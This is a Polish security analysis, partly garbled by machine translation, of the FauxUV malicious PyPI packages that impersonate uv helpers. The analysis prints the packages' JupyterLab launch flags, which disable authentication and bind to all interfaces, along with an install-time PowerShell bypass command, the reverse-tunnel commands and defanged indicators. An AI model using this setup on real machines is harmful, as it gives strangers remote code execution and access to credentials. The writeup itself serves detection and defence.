TL; DR
Grupa pakietów PyPI zapożyczyła nazwę uv, szybki i niezwykle popularny menedżer pakietów Pythona oparty na Ruście, podszywający się pod pomocników UV. Nie oferują praktycznie żadnej realnej funkcjonalności. Zamiast tego niosą ze sobą ładunek Windows, który… Serwer JupyterLab z wyłączonym uwierzytelnianiem a w późniejszych wersjach publikuje je w publicznym Internecie poprzez odwrotny tunel.
Cała historia zawarta jest w jednym zdaniu: nazwa zaufanego narzędzia jako przynęta i JupyterLab jako silnik zdalnego wykonywania kodu. Serwer Jupyter uruchamia dowolny kod, który wpisujesz do pliku notebook komórka; ta uruchomiona z pustym tokenem i powiązana z każdym interfejsem sieciowym jest otwartym interpretatorem, który może obsługiwać każdy, kto ma dostęp do portu.
Śledzimy klaster jako FauxUV.Oba badane pakiety to moon-uv (0.0.1 – 0.0.16) i my-magic-uv-helper (0.0.1), opublikowane przez tego samego operatora i w czasie analizy dostępne na PyPI.
| ekosystem | PyPI |
| Pakiety | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Platforma docelowa | Windows |
| Podstawowe zachowanie | Niezautoryzowany serwer JupyterLab, opublikowany w Internecie przez odwrotny tunel |
| Nadużycia legalnych narzędzi | uv, JupyterLab, cloudflared, Pinggy |
Przynęta: nazwa, której już ufasz
uv jest jednym z najczęściej instalowanych narzędzi Pythona w ciągu ostatnich dwóch lat, więc „pomocnik dla uv„to pakiet, który programista instaluje bez zastanowienia. FauxUV opiera swoją wiarygodność wyłącznie na tej nazwie. Pakiety te prawdziwy uv instalator od Astral — adresy URL w paczce wskazują na prawdziwych, renomowanych hostów — więc szybki rzut oka nie pokazuje niczego poza wiarygodnymi odnośnikami. Żaden z pakietów nie dodaje uv funkcjonalność; nazwa stanowi całe przebranie.
JupyterLab jako silnik RCE
Centralnym punktem ładunku jest wyrzutnia, która uruchamia JupyterLab po usunięciu wszystkich barier ochronnych:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Każda flaga usuwa ochronę, a w dostarczonym skrypcie są nawet adnotacje (w oryginalnym języku chińskim): pusty token „wyłącza sprawdzanie haseł i tokenów — każdy może się połączyć”. laboratorium jupytera jest legalnym środowiskiem IDE do nauki danych, ale nieebook Komórka wykonuje dowolny kod zgodnie z projektem. Skonfigurowana w ten sposób i powiązana z 0.0.0.0, przestaje być środowiskiem IDE i staje się nieuwierzytelnioną zdalną powłoką na hoście — nie jest wymagany żaden specjalny plik binarny złośliwego oprogramowania, jest to po prostu główne narzędzie skierowane w niewłaściwym kierunku.
Dwa elementy pomocnicze sprawiają, że jest to osiągalne i powtarzalne:
- Cichy wyzwalacz instalacji. Wczesne wersje uruchamiają program PowerShell z -Ominięcie zasad wykonania prosto z konfiguracja.py on instalacja pipsa, w tle z błędami stłumionymi, więc pypeć wygląda normalnie. Późniejsze wersje przenoszą ten sam prymityw do pip-uv narzędzie wiersza poleceń — i całkowicie usuń automatyczne uruchamianie podczas instalacji.
- Publiczny tunel odwrotny. Serwer na 0.0.0.0 jest nadal dostępny tylko dla hostów, które mogą kierować do tej maszyny. Dołączony moduł otwiera [Pinggy](https://pinggy.io/) Tunel odwrotny SSH, który przekierowuje lokalny port Jupyter na adres publiczny, usuwając to ograniczenie. Dostarczony skrypt zawiera również – zakomentowaną – alternatywną ścieżkę wykorzystującą Cloudflare. rozbłysk chmur oraz netsh port-proxy do adresu IP Linode, dokumentując ten sam cel za pomocą innej infrastruktury.
Wszystko to składa się na całość: wystarczy zainstalować pakiet, a host z systemem Windows uruchomi niehasłowe narzędzie JupyterLab i opublikuje je w otwartym Internecie.
Jak ewoluował FauxUV
Wersje FauxUV były wysyłane jedna po drugiej, a punkt aktywacji ładunku przesuwał się wzdłuż nich — przypominając, że jedna oznaczona flagą wersja rzadko opowiada całą historię linii produktów.
| STAGE | wersje | Cyngiel | Co dodaje |
|---|---|---|---|
| Instalacja haka | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py przy instalacji pip | instalacja uv + prefiks PATH |
| Środowisko wykonawcze CLI | moon-uv 0.0.5-0.0.13 | pip-uv komenda | program uruchamiający JupyterLab bez hasła |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv komenda | aktywny tunel odwrotny Piggy |
Warto zauważyć, że automatyczne uruchamianie w czasie instalacji było usunięte w późniejszych, bardziej wydajnych wersjach — czyli skanerze, który był uruchamiany tylko w cyklu życia hooks oceniłbym nowsze wydania jako mniej ryzykowne, dokładnie odwrotnie.
Wskaźniki kompromisu
Potwierdzono odczytując źródło pakietu; punkty końcowe oznaczone skomentował Są obecne w plikach, ale nie są wykonywane przez analizowaną wersję. Wskaźniki sieciowe są wyłączone.
| Typ | Wskaźnik |
|---|---|
| Zainstaluj polecenie | powershell -ExecutionPolicy Bypass pobieranie oryginalnego instalatora UV w czasie instalacji pip |
| Flagi JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Tunel odwrotny (aktywny) | free[.]pinggy[.]io:443 przekierowywanie lokalne 127.0.0.1:8888 |
| Host tunelu (skomentowano) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (skomentowano) | 45[.]79[.]134[.]161 (Linode) przez netsh port-proxy |
| Uporczywość | dodaje na początku %USERPROFILE%\.local\bin do ścieżki użytkownika |
Sygnały behawioralne, na które warto zwrócić uwagę, niezależnie od tych konkretnych ciągów: instalacja pipsa który rodzi powershell - obejście zasad wykonywania; każdy jowisz uruchomienie łączenia token=”” w –ip=0.0.0.0; i wychodzącego SSH do *.pinggy.io z komputera dewelopera lub maszyny CI.
Obserwowane zachowanie i pochodzenie
Oba pakiety mają wspólnego autora i metodę: nazwę zaufanego narzędzia, bramkowanie tylko dla systemu Windows, blokowanie wykonywania w tle z błędami oraz poleganie na renomowanych narzędziach, dzięki czemu pobieżne sprawdzenie pozwala na znalezienie tylko renomowanych adresów URL. Źródło zawiera komentarze w języku chińskim, które jasno opisują flagi istotne dla bezpieczeństwa; zgłaszamy je jako obserwowalne stwierdzenia w pliku, a nie jako twierdzenie dotyczące motywu. zezwól_na_pochodzenie wartość i colab.bat Nazwa pliku nawiązuje do nieformalnych przepływów pracy „udostępniaj moje lokalne środowisko wykonawcze”, które obowiązują w Google Colab. Niezależnie od pochodzenia, spakowany wynik jest taki sam.
Wpływ i wskazówki dla obrońców
Kto jest narażony na promieniowanie FauxUV. Deweloperzy systemu Windows i osoby zarządzające CI, instalacja pipsa jeden z tych pakietów. JupyterLab bez hasła na 0.0.0.0 Zdalne wykonanie kodu jest możliwe dla każdego, kto ma dostęp do portu; tunel eliminuje limit „kto może do niego dotrzeć”. Serwer działa jako użytkownik instalujący, dziedzicząc jego pliki, tokeny i dane uwierzytelniające w chmurze.
Dlaczego łatwo to przegapić. Każdy ciąg sieciowy wskazuje na renomowanego hosta — Astral, JupyterLab, rozbłysk chmur, Pinggy, Colab. Nie ma binarnego pliku malware do hashowania ani zaciemnionego blobu do zdekodowania. Zarówno skanowanie oparte na reputacji, jak i sygnaturach nie uwzględnia tego zjawiska, dlatego pytanie behawioralne — Co powoduje instalacja tego pakietu na komputerze? — jest tym, który ją łapie.
Poradnictwo:
- Traktuj każdy czas instalacji powershell - obejście zasad wykonywania jako sygnał przerywający kompilację, niezależnie od pobieranego adresu URL.
- Alarm włączony jowisz uruchomiony z pustym tokenem i –ip=0.0.0.0; taka kombinacja nigdy nie powinna pojawić się na stacji roboczej ani programie uruchamiającym.
- Monitoruj dostawców wychodzącego SSH do tunelu (*.pinggy.io, *.trycloudflare.com) ze środowisk deweloperskich i CI.
- Zainstalować uv z [oficjalnego źródła](https://docs.astral.sh/uv/) i podchodź sceptycznie do pakietów pomocniczych innych firm, które zawierają narzędzie, którego instalacja jest banalnie prosta.
- Przypnij i ponownie sprawdź zależności podczas aktualizacji — linia pakietów może zyskiwać nowe możliwości w każdej kolejnej wersji.



